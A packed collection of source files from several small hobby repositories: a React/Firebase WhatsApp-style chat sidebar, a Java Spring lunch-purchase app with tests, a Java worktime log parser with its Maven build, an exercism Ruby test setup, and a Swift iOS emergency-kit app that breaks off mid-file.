const [{ user } , dispatch] = useStateValue();
const [rooms , setRooms] = useState([]);
//Retrieving collection and data of each user from db
//Snapshot is like on any change it will giveus back that change
useEffect(() => {
const unsubscribe = db.collection('rooms').onSnapshot(snapshot => (
setRooms(snapshot.docs.map(doc =>(
{
id:doc.id,
data:doc.data()
}
)
))
))
return () => {
unsubscribe();
}
//passing empty array so that it will reload only first time not again
}, [])
return (
<div className='sidebar'>
<div className="sidebar__header">
<Avatar src={user?.photoURL}/>
<div className="sidebar__headerRight">
<IconButton>
<DonutlargeIcon />
</IconButton>
<IconButton>
<Chat />
</IconButton>
<IconButton>
<MoreVertIcon />
</IconButton>
</div>
</div>
<div className="sidebar__search">
<div className="sidebar__searchContainer">
<SearchOutlined />
<input type="text" placeholder='Search or Start a new chat ..' />
</div>
</div>
<div className="sidebar__chats">
<SidebarChat addNewChat />
{/* passing data got from db and maping through every single data */}
{(rooms.map(room => (
<SidebarChat key={room.id} id={room.id}
name={room.data.name} />
)))}
</div>
</div>
)
}
export default Sidebar
<file_sep># Whatsapp
Created a messanger like Whatsapp with public access. [Whatsapp Clone]
<file_sep>
import '../css/sidebarChat.css'
import { Avatar } from '@material-ui/core'
import { useState , useEffect} from 'react'
import db from '../firebase'
import { Link } from 'react-router-dom'
const SidebarChat = ( { id , name ,addNewChat} ) => {
const [messages , setMessages] = useState([])
const [seed , setSeed] = useState('')
//Getting random avatar function
useEffect(() => {
setSeed( Math.floor(Math.random () * 333))
}, [])
useEffect(()=>{
if(id){
db.collection('rooms')
.doc(id)
.collection('messages')
.orderBy('timestamp','desc')
.onSnapshot((snapshot) =>
setMessages(snapshot.docs.map((doc) => (
doc.data()
))) )
}
}, [id])
//getting chatname from user and pushing chat name to db as room name
const createChat = () =>{
const roomName = prompt('Please enter name for room');
if (roomName) {
db.collection('rooms').add({
name:roomName,
})
}
}
return !addNewChat ? (
<Link to={`/rooms/${id}`}>
<div className='sidebarChat'>
{/* api for getting random avatar everytime page loads */}
<Avatar src={`https://avatars.dicebear.com/api/human/${seed}.svg`}/>
<div className="sidebarChat__info">
{/* Retrieving name from sidebar component passed here as props */}
<h2>{name}</h2>
<p>{messages[0]?.message}</p>
</div>
</div>
</Link>
) :
(
<div onClick={createChat} className='sidebarChat'>
<h2>Add New Chat-Room</h2>
</div>
)
}
export default SidebarChat
| cd18876765924cd41c005d6a3eb5127657f6935c | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | akanksha-pokharkar-vst-au4/Whatsapp | 2bcbbf2c935eaa0f1168603b01285cf7e79ca726 | d8c436149b484ee14f3b89a0e1161477ed53e5a4 |
refs/heads/master | <file_sep>package app.model;
import static org.assertj.core.api.Assertions.*;
import java.util.List;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest
public class GetPurchaseSumListLogicTest {
@Test
public void GetPurchaseSumLogicTest() throws Exception {
//管理者ユーザーでログインした時にそれぞれのユーザーの購入数を出力できているか
GetPurchaseSumListLogic getPurchaseSumListLogic = new GetPurchaseSumListLogic();
List<PurchaseSum> purchaseSumList = getPurchaseSumListLogic.execute();
assertThat(purchaseSumList).extracting("id")
.containsExactly("userA", "userB", "userC", "userD");
assertThat(purchaseSumList).extracting("suu")
.containsExactly(15, 10, 5, 20);
}
}
<file_sep>package app.model;
import java.io.Serializable;
import java.sql.Date;
import lombok.Data;
@Data
public class Purchase implements Serializable {
private String id;
private Date purchase_date;
private int suu;
public Purchase() {
}
public Purchase(String id, Date purchase_date, int suu) {
this.id = id;
this.purchase_date = purchase_date;
this.suu = suu;
}
}<file_sep>package app.controller;
import static org.mockito.Mockito.*;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
import java.sql.Date;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import app.model.PurchaseData;
import app.model.UserData;
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest
public class LunchSpringPurchaseControllerTest {
private MockMvc mockMvc;
@Autowired
LunchSpringPurchaseController target;
@MockBean
UserData userData;
@MockBean
PurchaseData P_Data;
@Before
public void setup() {
mockMvc = MockMvcBuilders.standaloneSetup(target).build();
}
@Test
public void purchaseCheckTest() throws Exception {
//入力された日付と個数を次のページに渡すことができているか(userConfirm)
mockMvc.perform(post("/purchaseCheck")
.param("date", "2020-01-01")
.param("suu", "5"))
.andExpect(model().attribute("date", "2020-01-01"))
.andExpect(model().attribute("suu", 5))
.andExpect(forwardedUrl("userConfirm"));
}
@Test
public void purchaseRegisterTest() throws Exception {
//入力された日付と個数を次のページに渡すことができているか(userComplete)
when(userData.getUser_Id()).thenReturn("testin");
when(P_Data.getDate()).thenReturn("2020-01-01");
when(P_Data.getSuu()).thenReturn(5);
String testString = "2020-01-01";
mockMvc.perform(post("/purchaseRegister"))
.andExpect(model().attribute("date", Date.valueOf(testString)))
.andExpect(model().attribute("suu", 5))
.andExpect(forwardedUrl("userComplete"));
}
}
<file_sep>package app.model;
import java.io.Serializable;
import lombok.Data;
@Data
public class User implements Serializable {
String id;
String name;
int kubun;
public User() {
}
public User(String id, String name, int kubun) {
this.id = id;
this.name = name;
this.kubun = kubun;
}
public void setId(String id) {
this.id = id;
}
}<file_sep>package app.model;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import app.dao.PurchaseDAO;
@Component
public class GetPurchaseListLogic {
@Autowired
PurchaseDAO dao;
public List<Purchase> execute(String id) {
List<Purchase> purchaseList = dao.findById(id);
return purchaseList;
}
public List<Purchase> execute(String id, String date) {
List<Purchase> purchaseList = dao.findByDate(id, date);
return purchaseList;
}
}
<file_sep>package app.controller;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import app.model.GetPurchaseListLogic;
import app.model.GetPurchaseSumListLogic;
import app.model.Login;
import app.model.LoginLogic;
import app.model.Purchase;
import app.model.PurchaseSum;
import app.model.User;
import app.model.UserData;
@Controller
public class LunchSpringController {
@Autowired
UserData userData;
@Autowired
LoginLogic loginlogic;
@Autowired
GetPurchaseListLogic getPurchaseListLogic;
@Autowired
GetPurchaseSumListLogic getPurchaseSumListLogic;
/**
* ログイン認証が成功すると、ここの処理に。
* セッションスコープへのデータの保存とkubunをもとに画面遷移する役割。
* @param model
* @return kubunが「1」→"adminTop.html"、管理者ユーザートップ画面へ
* 「10」→"userTop.html"、一般ユーザートップ画面へ
*/
@RequestMapping("/loginSuccess")
public String loginSuccess(Model model) {
String id = userData.getUser_Id();
Login login = new Login(id);
User User = loginlogic.execute(login);
String name = User.getName();
int kubun = User.getKubun();
//ユーザーIDを保存
model.addAttribute("userId", User);
//ログインユーザーの購入数のリストを取得して保存
List<Purchase> purchaseList = getPurchaseListLogic.execute(id);
model.addAttribute("purchaseList", purchaseList);
int total = 0;
if (kubun == 10) { //ログイン成功時
//ユーザーIDをセッションスコープに保存
userData.setUser_Id(id);
userData.setUser_Name(name);
userData.setUser_Kubun(kubun);
//リストの合計を求めるための計算をして保存
for (int i = 0; i < purchaseList.size(); i++) {
Purchase plist = purchaseList.get(i);
int instead = plist.getSuu();
total = total + instead;
}
model.addAttribute("total", total);
return "userTop";
} else if (kubun == 1) {
//管理者IDをセッションスコープに保存
userData.setKUser_Id(id);
userData.setUser_Kubun(kubun);
//ユーザーごとの合計のリストを取得して保存
List<PurchaseSum> purchasesumList = getPurchaseSumListLogic.execute();
model.addAttribute("purchasesumList", purchasesumList);
//リストの合計を求めるための計算をして保存
for (int i = 0; i < purchasesumList.size(); i++) {
PurchaseSum pslist = purchasesumList.get(i);
int instead = pslist.getSuu();
total = total + instead;
}
model.addAttribute("total", total);
return "adminTop";
} else {//ログイン失敗時
//リダイレクト
return "loginForm";
}
}
@RequestMapping("/")
public String loginReturn() {
return "loginForm";
}
@RequestMapping("/loginForm")
public String loginForm() {
return "loginForm";
}
@RequestMapping("/loginError")
public String loginError() {
return "loginForm";
}
/**
* 一般ユーザートップ画面へ戻る際の処理
* @param model
* @return 一般ユーザートップ画面
*/
@RequestMapping("/backuserTop")
public String backuserForm(Model model) {
String id = userData.getUser_Id();
Login login = new Login(id);
User User = loginlogic.execute(login);
//ユーザーIDを保存
model.addAttribute("userId", User);
//ログインユーザーの購入数のリストを取得して保存
List<Purchase> purchaseList = getPurchaseListLogic.execute(id);
model.addAttribute("purchaseList", purchaseList);
int total = 0;
//リストの合計を求めるための計算をして保存
for (int i = 0; i < purchaseList.size(); i++) {
Purchase plist = purchaseList.get(i);
int instead = plist.getSuu();
total = total + instead;
}
model.addAttribute("total", total);
return "userTop";
}
/**
* 管理者トップ画面へ戻る際の処理
* @param model
* @return adminTop
*/
@RequestMapping("/backadminTop")
public String backadminTop(Model model) {
//ユーザーごとの合計のリストを取得して保存
List<PurchaseSum> purchasesumList = getPurchaseSumListLogic.execute();
model.addAttribute("purchasesumList", purchasesumList);
int total = 0;
//リストの合計を求めるための計算をして保存
for (int i = 0; i < purchasesumList.size(); i++) {
PurchaseSum pslist = purchasesumList.get(i);
int instead = pslist.getSuu();
total = total + instead;
}
model.addAttribute("total", total);
return "adminTop";
}
}
| 351e9a09a4b1c7b317e5214e3f805c3b63aba5b4 | [
"Java"
] | 6 | Java | hataoka/Lunch_Spring | 6a96ee61b4715d7d881c4906238daa588b55d885 | 79aa44dff7b7bcc11ed78bd603c7dcb12588de32 |
refs/heads/master | <file_sep>package com.oschrenk.worktime.ui.cmd;
import java.util.Date;
import uk.co.flamingpenguin.jewel.cli.ArgumentValidationException;
import uk.co.flamingpenguin.jewel.cli.Cli;
import uk.co.flamingpenguin.jewel.cli.CliFactory;
import com.google.common.base.Predicate;
import com.joestelmach.natty.Parser;
import com.oschrenk.worktime.core.Day;
import com.oschrenk.worktime.core.Task;
import com.oschrenk.worktime.util.DayPredicateBuilder;
import com.oschrenk.worktime.util.TaskPredicateBuilder;
public class CommandLine {
public static void main(String[] args) {
for (String string : args) {
System.out.println(string);
}
Cli<StartupArguments> cli = null;
StartupArguments parsedArguments;
try {
cli = CliFactory.createCli(StartupArguments.class);
parsedArguments = cli.parseArguments(args);
} catch (ArgumentValidationException e) {
System.err.println(e);
return;
}
com.joestelmach.natty.Parser dateParser = new Parser();
com.oschrenk.worktime.io.Parser worktimeParser = new com.oschrenk.worktime.io.Parser();
try {
Date from = dateParser.parse(parsedArguments.from()).getDates().get(0);
Date to = dateParser.parse(parsedArguments.to()).getDates().get(0);
Predicate<Day> dayPredicate = DayPredicateBuilder.make().from(from).to(to).build();
Predicate<Task> taskPredicate = TaskPredicateBuilder.make().ignore(parsedArguments.ignore()).build();
new DailyHoursByMonthPrinter(dayPredicate, taskPredicate).print(worktimeParser.parse(parsedArguments.path()));
} catch (IllegalArgumentException e) {
System.err.println(e);
return;
}
}
}
<file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.oschrenk</groupId>
<artifactId>worktime</artifactId>
<version>0.1</version>
<name>worktime</name>
<description>parser for worksheet</description>
<url>https://github.com/oschrenk/worktime</url>
<licenses>
<license>
<name>MIT License</name>
<url>LICENSE</url>
</license>
</licenses>
<scm>
<connection>scm:git:<EMAIL>:oschrenk/worktime.git</connection>
<url>scm:git:<EMAIL>:oschrenk/worktime.git</url>
<developerConnection>scm:git:<EMAIL>:oschrenk/worktime.git</developerConnection>
</scm>
<developers>
<developer>
<id>os</id>
<name><NAME></name>
<email><EMAIL></email>
<url>https://github.com/oschrenk</url>
<roles>
<role>developer</role>
</roles>
<timezone>+1</timezone>
</developer>
</developers>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3.2</version>
<configuration>
<source>1.6</source>
<target>1.6</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>1.4</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<finalName>worktime</finalName>
<transformers>
<transformer
implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>com.oschrenk.worktime.ui.cmd.CommandLine</mainClass>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<!-- INTERNAL -->
<dependency>
<groupId>com.oschrenk</groupId>
<artifactId>utils</artifactId>
<version>0.2</version>
</dependency>
<!-- EXTERNAL -->
<dependency>
<groupId>com.joestelmach</groupId>
<artifactId>natty</artifactId>
<version>0.2.1</version>
</dependency>
<dependency>
<groupId>uk.co.flamingpenguin.jewelcli</groupId>
<artifactId>jewelcli</artifactId>
<version>0.6</version>
</dependency>
<dependency>
<groupId>joda-time</groupId>
<artifactId>joda-time</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>r07</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.8.2</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>
<file_sep>/*
*******************************************************************************
* ParserState.java
* $Id: $
*
*******************************************************************************
*
* Copyright: Q2WEB GmbH
* quality to the web
*
* Tel : +49 (0) 211 / 159694-00 Kronprinzenstr. 82-84
* Fax : +49 (0) 211 / 159694-09 40217 D�sseldorf
* eMail: <EMAIL> http://www.q2web.de
*
*
* Author: oliver.schrenk
*
* Created: 06.12.2010
*
* Copyright (c) 2009 Q2WEB GmbH.
* All rights reserved.
*
*******************************************************************************
*/
package com.oschrenk.worktime.io;
/**
*
* @author oliver.schrenk
* @version
* $Id: $
*/
public enum ParserState {
START_OF_FILE,
START_OF_DAY,
START_OF_TIME,
START_OF_TASK_DESCRIPTION,
}
<file_sep>package com.oschrenk.worktime.core;
import java.util.List;
public interface Printer {
void print(final List<Day> days);
}<file_sep>/*
*******************************************************************************
* DailyHoursPrinter.java
* $Id: $
*
*******************************************************************************
*
* Copyright: Q2WEB GmbH
* quality to the web
*
* Tel : +49 (0) 211 / 159694-00 Kronprinzenstr. 82-84
* Fax : +49 (0) 211 / 159694-09 40217 D�sseldorf
* eMail: <EMAIL> http://www.q2web.de
*
*
* Author: oliver.schrenk
*
* Created: 06.12.2010
*
* Copyright (c) 2009 Q2WEB GmbH.
* All rights reserved.
*
*******************************************************************************
*/
package com.oschrenk.worktime.ui.cmd;
import java.util.List;
import org.joda.time.Period;
import com.google.common.base.Predicate;
import com.google.common.collect.Iterables;
import com.oschrenk.worktime.core.Day;
import com.oschrenk.worktime.core.Printer;
import com.oschrenk.worktime.core.Task;
import com.oschrenk.worktime.util.Formatter;
/**
*
* @author oliver.schrenk
* @version $Id: $
*/
public class DailyHoursByMonthPrinter implements Printer {
private final Predicate<Day> dayPredicate;
private final Predicate<Task> taskPredicate;
public DailyHoursByMonthPrinter(final Predicate<Day> dayPredicate, final Predicate<Task> taskPredicate) {
this.dayPredicate = dayPredicate;
this.taskPredicate = taskPredicate;
}
public void print(final List<Day> days) {
final Iterable<Day> filter = Iterables.filter(Iterables.reverse(days), dayPredicate);
boolean firstMonth = true;
int previousMonth = -1;
Period hoursPerMonth = new Period();
for (final Day day : filter) {
final int currentMonth = day.getDay().getMonthOfYear();
if (previousMonth != currentMonth) {
if (firstMonth) {
firstMonth = false;
previousMonth = currentMonth;
} else {
if (hoursPerMonth.getMinutes() > 0) {
hoursPerMonth = printHoursPerMonth(hoursPerMonth);
previousMonth = currentMonth;
}
}
}
System.out.print(Formatter.DATETIME_DAY_MONTH_YEAR.print(day.getDay()));
System.out.print(": ");
Period hours = new Period();
final Iterable<Task> tasks = Iterables.filter(day.getTasks(), taskPredicate);
for (final Task task : tasks) {
final Period period = new Period(task.getStart(), task.getEnd());
hours = hours.plus(period);
}
hours = hours.normalizedStandard();
hoursPerMonth = hoursPerMonth.plus(hours);
System.out.println(Formatter.PERIOD_SHORT.print(hours));
}
printHoursPerMonth(hoursPerMonth);
}
/**
* @param hoursPerMonth
* @return
* @category action
*/
private Period printHoursPerMonth(Period hoursPerMonth) {
System.out.println("----------------");
System.out.println(" " + Formatter.PERIOD_SHORT.print(hoursPerMonth));
System.out.println();
hoursPerMonth = new Period();
return hoursPerMonth;
}
}
<file_sep>/*
*******************************************************************************
* Segment.java
* $Id: $
*
*******************************************************************************
*
* Copyright: Q2WEB GmbH
* quality to the web
*
* Tel : +49 (0) 211 / 159694-00 Kronprinzenstr. 82-84
* Fax : +49 (0) 211 / 159694-09 40217 D�sseldorf
* eMail: <EMAIL> http://www.q2web.de
*
*
* Author: oliver.schrenk
*
* Created: 06.12.2010
*
* Copyright (c) 2009 Q2WEB GmbH.
* All rights reserved.
*
*******************************************************************************
*/
package com.oschrenk.worktime.core;
import org.joda.time.DateTime;
/**
*
* @author oliver.schrenk
* @version $Id: $
*/
public class Task {
private final DateTime start;
private final DateTime end;
private final String task;
/**
* @param start
* @param end
*/
public Task(final DateTime start, final DateTime end, final String task) {
this.start=start;
this.end=end;
this.task=task;
}
/**
* @return Returns the start.
* @category getter
*/
public DateTime getStart() {
return start;
}
/**
* @return Returns the end.
* @category getter
*/
public DateTime getEnd() {
return end;
}
/**
* @return Returns the task.
* @category getter
*/
public String getTask() {
return task;
}
/*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
return "Task [start="+start+", end="+end+", task="+task+"]";
}
}
<file_sep># README #
## Installation ##
# get external dependencies
git clone https://github.com/joestelmach/natty.git
cd natty
mvn clean install
git clone https://github.com/oschrenk/worktime.git
cd worktime
mvn clean package
chmod u+x worktime
## Usage ##
./worktime /path/to/log.txt
./worktime --from="last october" --ignore="Pause" ~/Downloads/logs/log.txt
## Format ##
The format is very strict.
- no year
- dates have to be `dd.MM.`, no whitespace
- timestamps have to be `HH:mm`, followed by a tab
- task descriptions can't contain a dot
- each timestamp has to be followed by a task description, except the last when you finish
- each day has to be seperated by a newline
14.08.
9:00 Stuff
10:00 Other Stuff
11:00
15.08.
9:00 Things
17:00<file_sep>/*
*******************************************************************************
* Parser.java
* $Id: $
*
*******************************************************************************
*
* Copyright: Q2WEB GmbH
* quality to the web
*
* Tel : +49 (0) 211 / 159694-00 Kronprinzenstr. 82-84
* Fax : +49 (0) 211 / 159694-09 40217 D�sseldorf
* eMail: <EMAIL> http://www.q2web.de
*
*
* Author: oliver.schrenk
*
* Created: 06.12.2010
*
* Copyright (c) 2009 Q2WEB GmbH.
* All rights reserved.
*
*******************************************************************************
*/
package com.oschrenk.worktime.io;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Pattern;
import org.joda.time.DateTime;
import com.oschrenk.worktime.core.Day;
import com.oschrenk.worktime.core.Task;
import com.oschrenk.worktime.util.Formatter;
/**
*
* @author oliver.schrenk
* @version $Id: $
*/
public class Parser implements com.oschrenk.util.Parser<File, List<Day>> {
private final List<Day> days;
private final DateTime now;
private final Pattern pattern;
public Parser() {
now = new DateTime();
days = new LinkedList<Day>();
pattern = Pattern.compile("[\\t\\r\\n]");
}
public List<Day> parse(File file) {
final BufferedReader br;
try {
br = new BufferedReader(new InputStreamReader(new DataInputStream(new FileInputStream(file))));
} catch (FileNotFoundException e) {
e.printStackTrace();
return Collections.emptyList();
}
ParserState state = ParserState.START_OF_FILE;
Day day = null;
DateTime currentDay = null;
DateTime start = null;
DateTime end = null;
String line;
String task = null;
try {
readline: while ((line = br.readLine()) != null) {
line = line.trim();
// comment, ignore line
if (line.startsWith("#")) {
continue readline;
}
if (state == ParserState.START_OF_FILE || line.isEmpty()) {
// add last completed day to list
if (day != null) {
days.add(day);
day = null;
}
// start a new day
state = ParserState.START_OF_DAY;
continue readline;
}
final Scanner scanner = new Scanner(line).useDelimiter(pattern);
if (state == ParserState.START_OF_DAY) {
while (scanner.hasNext()) {
final String s = scanner.next();
if (s.contains(".")) {
state = ParserState.START_OF_TIME;
currentDay = Formatter.DATETIME_DAY_MONTH.parseDateTime(s.trim()).withYear(now.getYear());
day = new Day(currentDay);
start = null;
end = null;
task = null;
continue readline;
}
}
}
if (state == ParserState.START_OF_TIME) {
while (scanner.hasNext()) {
final String s = scanner.next();
if (state == ParserState.START_OF_TIME && s.contains(":")) {
if (start == null) {
start = getDateTime(currentDay, s);
} else {
end = getDateTime(currentDay, s);
day.add(new Task(start, end, task));
start = end;
}
state = ParserState.START_OF_TASK_DESCRIPTION;
continue;
}
else if (state == ParserState.START_OF_TASK_DESCRIPTION) {
state = ParserState.START_OF_TIME;
task = s;
}
}
}
}
br.close();
} catch (IOException e) {
e.printStackTrace();
return Collections.emptyList();
}
return days;
}
private DateTime getDateTime(DateTime currentDay, final String s) {
DateTime start;
start = Formatter.DATETIME_HOUR_MINUTE.parseDateTime(s.trim()).withYear(currentDay.getYear())
.withMonthOfYear(currentDay.getMonthOfYear()).withDayOfMonth(currentDay.getDayOfMonth());
return start;
}
}
| 511be4555b4819ddb688e796897482416f6a6a4a | [
"Markdown",
"Java",
"Maven POM"
] | 8 | Java | oschrenk/worktime | 117132f15aeb6b28f8bf979b6b1cc61069643f88 | 42170b5ce22bb3028754521fbc01fcd4f8922fe9 |
refs/heads/master | <file_sep>package au.com.dius.pact.model
import java.io.File
/**
* Represents the source of a Pact
*/
interface PactSource
data class DirectorySource @JvmOverloads constructor(val dir: File,
val pacts: MutableMap<File, Pact> = mutableMapOf()) : PactSource
data class PactBrokerSource @JvmOverloads constructor(val host: String,
val port: String,
val pacts: MutableMap<Consumer, List<Pact>> = mutableMapOf()) : PactSource
data class FileSource(val file: File, val pact: Pact) : PactSource
data class UrlSource(val url: String, val pact: Pact) : PactSource
data class UrlsSource @JvmOverloads constructor(val url: List<String>,
val pacts: MutableMap<String, Pact> = mutableMapOf()) : PactSource
| d9fc1f1148d81d33c8115bf675131d069eaabb78 | [
"Kotlin"
] | 1 | Kotlin | bestwpw/pact-jvm | e50c5c2a3904f0eff2a36f74aecf23add779494f | 3c4d4dc7bca290217fde2385c613458565c5c57e |
refs/heads/main | <repo_name>pablogiroud/tasty-world-backend<file_sep>/README.md
# tasty-world-backend
Tasty World backend project.
| fe10e862fd269442855ac988722fb52108f3cffc | [
"Markdown"
] | 1 | Markdown | pablogiroud/tasty-world-backend | 5dcfb985d12e2ea5a89c029dfdabdc5043fa52fe | c4aeb25c8c83c716dc4467dc7f075511d89adddf |
refs/heads/master | <file_sep># exercism-ruby
Files I use on exercism/ruby directory. Save the setting on Github to download anywhere.
See https://gist.github.com/kangkyu/17b014143d7d2afaf2cb
<file_sep>require "minitest/reporters"
reporter_options = {
detailed_skip: false, # true by default
# fast_fail: true, # false by default
color: true
}
Minitest::Reporters.use! [Minitest::Reporters::DefaultReporter.new(reporter_options)]
<file_sep>source 'https://rubygems.org'
gem 'guard', '2.13.0'
gem 'guard-shell', '0.7.1'
gem 'minitest', '5.8.4'
gem 'minitest-reporters', '1.1.8'
# bundle
# bundle exec guard --notify false
| 54a2562573946c840569a6c0579d0201e07a76f7 | [
"Markdown",
"Ruby"
] | 3 | Markdown | kangkyu/exercism-ruby | 2e06d855eb50dc63198d5a58e24abd6cd0425d41 | 476d7eb1dfa9221092b8ff9dd04487cc7bb5dfbf |
refs/heads/master | <repo_name>emilychin1130/NaturalDisaster<file_sep>/NaturalDisaster/NaturalDisaster/EmergencyKitViewController.swift
//
// EmergencyKitViewController.swift
// NaturalDisaster
//
// Created by EmilyC on 12/2/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class EmergencyKitViewController: UIViewController {
@IBAction func unwind(for unwindSegue: UIStoryboardSegue) {
}
override func viewDidLoad() {
super.viewDidLoad()
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
}
}
<file_sep>/NaturalDisaster/NaturalDisaster/OtherCell.swift
//
// OtherCell.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class OtherCell: UITableViewCell {
@IBOutlet weak var nameLabel: UILabel!
@IBOutlet weak var expDateLabel: UILabel!
}
<file_sep>/NaturalDisaster/NaturalDisaster/AddFirstAidViewController.swift
//
// AddFirstAidViewController.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
import UserNotifications
class AddFirstAidViewController: UIViewController {
@IBOutlet weak var nameTextField: UITextField!
@IBOutlet weak var datePicker: UIDatePicker!
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if segue.identifier == "save" {
let items = CoreDataHelper.retrieveFirstAid()
var listOfFirstAid = [String]()
for item in items {
listOfFirstAid.append(item.name!)
}
if (nameTextField.text?.isEmpty)! {
let alert = UIAlertController(title: "", message: "You forgot to add a name!" , preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "Add a name", style: UIAlertActionStyle.default, handler: {(action) in alert.dismiss(animated: true, completion: nil) } ) )
self.present(alert, animated: true, completion: nil)
// } else
// if isEdit == false {
// if listOfFirstAid.contains(nameTextField.text!) {
// let alert = UIAlertController(title: "", message: "You already have an item called \(String(describing: nameTextField.text!))." , preferredStyle: UIAlertControllerStyle.alert)
// alert.addAction(UIAlertAction(title: "Rename", style: UIAlertActionStyle.default, handler: {(action) in alert.dismiss(animated: true, completion: nil) } ) )
// self.present(alert, animated: true, completion: nil)
// } else {
//
// let item = self.name ?? CoreDataHelper.newItem()
// if item.name != nil {
// UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [habit.habit!])
// }
// item.name = nameTextField.text ?? ""
// item.expDate = datePicker ?? ""
// CoreDataHelper.saveFood()()
// }
} else {
let item = CoreDataHelper.newFirstAid()
if item.name != nil {
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
}
item.name = nameTextField.text ?? ""
// item.expDate = datePicker ?? "" //jk this thing doesnt work
CoreDataHelper.saveFirstAid()
}
}
}
}
<file_sep>/NaturalDisaster/NaturalDisaster/UtilitiesCell.swift
//
// UtilitiesCell.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class UtilitiesCell: UITableViewCell {
@IBOutlet weak var nameLabel: UILabel!
@IBOutlet weak var expDateLabel: UILabel!
}
<file_sep>/NaturalDisaster/ContactExtraction.swift
//
// ContactExtraction.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import UIKit
import MessageUI
import Contacts
class ContactExtractionViewController: UIViewController, MFMessageComposeViewControllerDelegate {
@IBOutlet weak var phoneNumber: UITextField!
override func viewDidLoad() {
super.viewDidLoad()
}
@IBAction func sendText(sender: UIButton) {
if (MFMessageComposeViewController.canSendText()) {
let controller = MFMessageComposeViewController()
controller.body = ""
controller.recipients = ["1111111111"]
controller.messageComposeDelegate = self
self.present(controller, animated: true, completion: nil)
}
}
func messageComposeViewController(_ controller: MFMessageComposeViewController!, didFinishWith result: MessageComposeResult) {
//... handle sms screen actions
self.dismiss(animated: true, completion: nil)
}
override func viewWillDisappear(_ animated: Bool) {
self.navigationController?.isNavigationBarHidden = false
}
}
<file_sep>/NaturalDisaster/NaturalDisaster/ClothesCell.swift
//
// ClothesCell.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class ClothesCell: UITableViewCell {
@IBOutlet weak var nameLabel: UILabel!
@IBOutlet weak var expDateLabel: UILabel!
}
<file_sep>/NaturalDisaster/NaturalDisaster/FirstAidViewController.swift
//
// FirstAidViewController.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class FirstAidViewController: UIViewController, UITableViewDelegate, UITableViewDataSource {
var items: [FirstAid] = []
@IBOutlet weak var tableView: UITableView!
@IBAction func unwindToFirstAidViewController(_ segue: UIStoryboardSegue) {
self.items = CoreDataHelper.retrieveFirstAid()
}
override func viewDidLoad() {
super.viewDidLoad()
items = CoreDataHelper.retrieveFirstAid()
tableView.delegate = self
tableView.dataSource = self
}
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return items.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "FirstAidCell") as! FirstAidCell
let row = indexPath.row
let item = items[row]
cell.nameLabel.text = "\(item.name!)"
cell.expDateLabel.text = "\(item.expDate!)"
// if habit.checked == true {
// cell.accessoryType = .checkmark
// } else
// {
// cell.accessoryType = .none
// }
return cell
}
func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
